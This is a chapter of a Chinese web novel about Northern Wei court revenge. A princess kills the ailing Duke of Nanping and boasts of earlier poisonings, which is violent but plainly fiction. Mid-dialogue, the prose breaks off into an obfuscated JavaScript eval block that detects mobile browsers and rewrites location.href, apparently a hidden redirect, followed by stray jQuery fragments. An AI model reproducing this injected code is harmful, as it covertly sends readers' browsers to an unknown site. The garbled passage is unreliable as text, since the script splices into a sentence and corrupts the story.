86.得报之仇

作品:《咸鱼庶女的求生日常

    五月廿五


    晴,混入军营,成功与二兄安排的人接上线,守关的将士比我想的要少,钟离城似乎也并无出兵之意,此外,无事发生


    “大人”


    是夜,明月高悬,钟离城太守府迎来了位不速之客。来者黑衣蒙面,蜂腰螳腿,露在外头的,只有一双摄人心魄的纯黑眼瞳:


    “北魏驻扎在城外的主将冯诞身患恶疾,五日内必将一命呜呼,此乃最佳出兵之时,太守,切勿失此良机”


    一般正常人的反应无非出于以下两种:


    要么一拍桌案大喝声“尔何许人哉!”,再叫人把这口出狂言的家伙收拿归案;要么懒懒抬眸,用一种看傻子般的目光瞥着对方,呵呵,你咋知道,怎么,现在神棍算元寿都能精确到天了?


    可钟离的守将,南齐名将陈显达——的二子,陈伯玉小伙子却抿了抿嘴,搁下手中握着的毛笔擦了擦袖口,用一种见怪不怪般的语气回道:


    “你们王爷说的?”


    “......是?”


    “嘁”


    少年从书案后头走出,刚想一把扯下黑衣人的面罩却猛地被其反攥住了手腕,后者用那双漆黑的眸子盯着他看,看得他心里都有些微微发怵


    “怎么?连真面目都不肯示人,还来谈什么合作”


    “大人......”


    “一个北魏的亲王”


    陈伯玉低笑着,伸直手指置于黑衣人的额顶继而向后一推,力气虽不大,却也使后者不禁踉跄一二


    “好端端会让我们有机会攻城克池?别和我说玩的是那套‘螳螂捕蝉,黄雀在后’,呵呵,而且——”


    他用手指摩挲过眼睛旁边的皮肤


    “细腻光滑,也不是做死士的模样啊,若单凭这双眼睛我倒觉得,你更像个,世家公子”


    “大人谬赞”


    黑衣人不置对错,只依势向前欺压而上


    “我朝虽为鲜卑立国,可南北国情却有一处极为相似,汝帝连续弑杀郁林王,海陵王等诸多亲王方得其位,萧墙祸起操戈子嗣斗,我朝,依然。若非破釜沉舟唯此良策,王爷也定不会铤而走险至此”


    黑衣人漆黑的眼瞳一转,继而又道


    “冯氏乃保皇之党,王爷的心腹大患不可不除之,何况出兵立战功,对于您而言,至少对您的父亲而言,利总是大于弊的,不是吗?”


    陈家算半草根出身,要不是陈父将打战缴贼此等高危职业当作全职也没有陈伯玉的今天,少年皱眉,挥了挥手,示意黑衣人想保小命就赶紧退下


    “公子?”


    “五天?切,长毒暗毒哪有这么精准发作的,估计是看我年轻诓我,哼,我等且静观其变,看看这狄人葫芦里到底要耍什么花招”


    “公子?”


    “呼,好精的蛮人”


    四无人处,李瑾扯下面罩的同时还不忘摸了摸眼睛周围,也没啥不同啊(除了手感好些外)......思及此,他不免有些愤愤然得踢了踢脚边,昏死过去的真正线人


    “不过,阿兄可真厉害,那蛮人要问的话倒也被他猜中了个七八十”


    “长公子向来料事如神,可咸阳王那边......”


    “死士死士,死了才能尽忠,若是陈大将军在道瑜还不一定能这么轻松地回来,至于......悄无声息扔到河里去,喂鱼”


    五月廿六


    叶子牌和花牌是什么东西?惠娘那种小女郎玩的东西怎么会出现在军营里?猎奇,营里士卒大多是鲜卑人,我倒能很快混熟,不过,二兄劝我先暗兵不动,啧......得了,也不急于这一时


    五月廿七


    皇兄与卢大将军他们连克新乡南阳等地简直太给力了啊!惠娘听到这消息一定会欢喜极了罢,话说,她现在还在洛阳吗?还是范阳,哎呀真该死,都没好好道个别,以后,应该,还有机会的罢......


    五月廿八


    ......搞什么,主帐那里的咳嗽声怎么越来越大了,这还没打仗怎就吃上药了,别太离谱,那家伙不会患上肺疾了罢,我还没报仇呢,老天可别先一步将那厮收去了(横批:这样也太便宜那竖子了)


    五月廿九


    我瞧见了,血......端出来的盆里有,清洗的帕上有,那厮身体这么差的吗!还是,二兄的人先动手了!?别闹!不准抢我人头啊!


    五月廿十


    ......搞什么,洛阳的医官都来了,那厮不会真的要死了吧,不对,是来寻我的,假扮的,切,定是那贱人......可不能让他们认出来,嘶,额,好像不是


    五月......


    算了最后一天了,此时不动手更待何时!


    “咳咳咳”


    病来如山倒,这也不知是南平公卧病在床的第几日,浑浑噩噩间男子只模糊得想,当初文明太后薨时,自己充作孝侄跪于灵柩前,五天五夜只进米水后又发了七天七夜的高热,都没如今这般,浑身烫得发痛,头如铅重身如棉轻,忽冷忽热,咳却猛咳,呼吸不上


    更甚者,他现在连张口吞咽的力气都尽无,只能像只搁浅的鱼儿般倒在一旁,听着医官与下属间的密密交谈:


    “郡公......许是肺疾”


    南平公差点昏死过去


    在这个肺疾至死率高达百分之九十九点九的时代,医官的这句话跟下病危通知书也无甚两样。天杀的.....自己少年封王虽然壮年坎坷了些,但大好前程,冯氏的复兴就近在眼前——吾命岂能折于此哉!


    “可否有医治之法!宫中的太医呢!为何还不前来!”


    “忠心”的下属还在为他努力,但并不是人人都像曹某人一样命大(开颅),南平公对全菌手术也没兴趣,至于洛阳


    “我前些天似乎瞧见了有宫中医官样式的人出现在营里,怎的——”


    是一道明显偏细的陌生男声


    南平公心下一紧,恐慌却又希冀,自己那个妹妹会否不计母辈之仇对自己伸出援手,这始终是个未解之谜


    毕竟自己当年,甚至现在,都从未将那个异母庶妹放于眼中——以色示他人的棋子而已


    “若真有,为何不为郡公医治,为何不与我等商榷一二,阁下许是看差了”


    心凉了,真的心凉了


    医官苦叹,而元华在与那副官交换了个眼神后,心里这才完全放下来


    不,她并没有看错


    那帮人穿着她最熟悉不过的太医院的样式,但身材明显壮硕手臂粗壮一看就非拎药箱而是——抡大锤的家伙,且目标万分明确


    就是冲她来的,左躲右躲不及,一来就将两锦囊塞到她手中,塞完就走,简直行云流水一气呵成


    “留步”


    元华好奇


    “你们不是医官么”


    “哈哈,学医可救不了——”


    为首的“医官”下意识脱口而出,后立马察觉出不对赶忙改口,虽说出口的话还是磕磕绊绊像背策本:


    “我家女郎,呸呸呸,主公,哈哈,主公说,此二锦囊,颜色偏浅的那个是洛阳如今的局势,让殿下您宽心,另一个,嘶,哈......什么,若舟行于山穷水尽之时,嗯,再打开!”


    来人眼睛闪啊闪,仿佛在说“你懂吧你懂吧你懂吧”


    懂吧......


    元华汗然


    那锦囊形似荷花,针脚甚密,一看就是出于某人之手,以及上头隐隐散发出的栀子香也同时印证了她的猜想,熟悉,太熟悉了


    那小丫头


    不过当时的她只默默将这荷包挂于腰侧,心下不以为意,想着一个十五六岁的小女郎能帮上她些什么,并非轻视也并非看轻


    元华瞥了眼榻上气若游丝的南平公


    只是啊,她们之间经历的事背负的因果大所不同,命运的交织已是馈赠,嗯,她可不想将她牵扯进这些污糟事,名门贵女的人生,就应当舒舒服服,快快乐乐无忧无虑一辈子嘛


    就像,阿家临别前吻在她的额边,低低的祝愿


    “大人,请借一步说话”


    愿我的女儿,勇敢如天格里


    好了,极善刺探的二兄副官已将所有人都带了出去,元华将帐门一掩,下意识摸了把贴于手掌内侧的匕首,一步一步,向着榻上人而去


    关于文明太后的一切,过去的一切


    是时候该结束了


    “谁!”


    是混合着浓痰的嘶吼,如今听来,更像是石子落于深井中而发出的微弱回声,大限将至的猛虎,实则也与病猫无异


    “郡公,要喝点水吗”


    元华懒得异声,只笑着拿起一旁蒸热的茶水,俯下身用匕首尖掰开某人的牙齿,却还是摇荡着的玩弄


    “你是,你是,是你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031186|145179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    榻上人苍白的脸慢慢变得惊恐,虽病入膏肓但到底不瞎,南平公当然记得这张脸,那从小跟在文明太后身侧的女娃,大魏最受宠最有权势的公主,他嫉妒,厌烦,甚至无数次起过杀意的脸!


    而今,他们,近在咫尺


    “你怎么会在这,你不应该在洛阳吗,你不该被关起来吗你不该.......”


    “郡公消息很灵通啊”


    元华笑,笑得颇有些嘲讽:


    “那你可知,汝妻,幼子”


    “太子对他们下手了!不!来人——”


    刚竭尽全力破血欲出的高喊,却立马淹没于滚滚淌下的热茶,那滚烫斩开咽喉,直入胸腔,烧开欲出的浊气化为一声巨咳,咳出满嘴如雨水下注的猩红


    “啧”


    元华起身,冯氏的血,她尚嫌脏


    “不......为什么......”


    南平公捂着心口,呆呆望着自己满手的血,一个再冰冷再无情再现实不过的警钟猛得给了他一耳光——己命将尽


    怎么可能......


    怎么能够!


    他还不满不惑啊,他还这么年轻啊,他可是冯氏如今的家主啊他的孩子还那么小一大家子半数尚未有着落冯氏的将来......


    “为什么......”


    这一句并非是对公主的谴责,而是对上天的纠问


    可天何薄


    “为什么!皇姑母明明恩重于你!冯氏除了那两件事也从未对不住你!呵呵哈哈,元华!你自诩光明磊落之辈,竟也用下毒这般阴险的伎俩吗!”


    “大点声——”


    公主从袖中掏出匕首,置于桌案边磨了磨,回眸以讥嘲:


    “听不清”


    “不过,一个女人的婚姻,你们何尝在乎过呢”


    公主拾起刀,走至榻沿,将郡公颤抖的脑袋按下将锋利置于他的颈边,虽说不知这厮为何病重又被何人先登一步下毒,但唯此不变——他的命,只能她来结果


    “你们男人娶妻就要娶贤娶貌,打着什么繁衍的名头纳上数十房侧室,不顺父母,无子,淫,妒,有恶疾,多言,窃盗,七出便可弃妻,而女人,就活该沦为你们政治的工具吗!就活该像个物件一样,送给一个又一个,生下一个又一个,一辈子都要倚仗着父兄儿侄过活,凭什么!”


    “至于太后,你们吃了她数十年的人血馒头又有什么脸在我跟头提她!若非太后你们冯氏生生世世都只配做亡国贱俘!士可杀不可辱之,辱者死,怎么,这句话在你们男人这儿适用,我就不适用!?”


    “陛下,更是对你不薄......”


    “呵哈哈哈”


    刀锋逼近,公主的笑容畅快到有些癫狂


    “所以,我正帮他除佞贼呢!吃皇粮的蛀虫于国家于社稷毫无实绩!还有——”


    更近,刀锋见血


    “你猜,你们给我精挑细选的那个好驸马,是怎么死的”


    “那都是为了江山社稷考虑!为什么别的公主能忍受,你就不能忍受安分守已!”


    “我杀了他”


    “和你一样,连死状都一模一样,那个贱种打着我的名号在皇都逍遥过日,贪花好色甚至身有残疾,都让乐姬将孩子揣了上,呵哈哈哈”


    多大的羞辱呐,那本要翱翔在天上的鹰,却要去管那般肮脏的丑事,更可恶的是


    “你不肯与我同房,可我们刘家的香火还要延续——哪个女人不是这样过来的!你去别家看看,哪个女人的郎婿——”


    “我杀了他,和你一样,用毒,五日多毙命,那个乐姬连同杂种亦被我一刀了结,南宋皇族刘氏全家被我一包砒霜撂倒,无一人生还”


    “你那时候才几岁!怎能如此丧心病狂哪有半分做女人的样子!荒唐!你简直就是个疯子!”


    “疯子?”


    匕首磨得太不带劲,公主慢慢取出腰间长刀,在烛影中高高举起


    “这个词真不错,算了,节省点时间,让我算算,太后太师郡公,还有一个皇后,呵呵哈哈哈哈,差不多了差不多了!”


    “不过你放心,我对小孩子没什么兴趣,但你最好在地下磕点头,毕竟那位的目标,可是你们全族哦~”


    “好了南平公——上,路,吧”


    继而,重重落下


    血撒,颅落,万籁静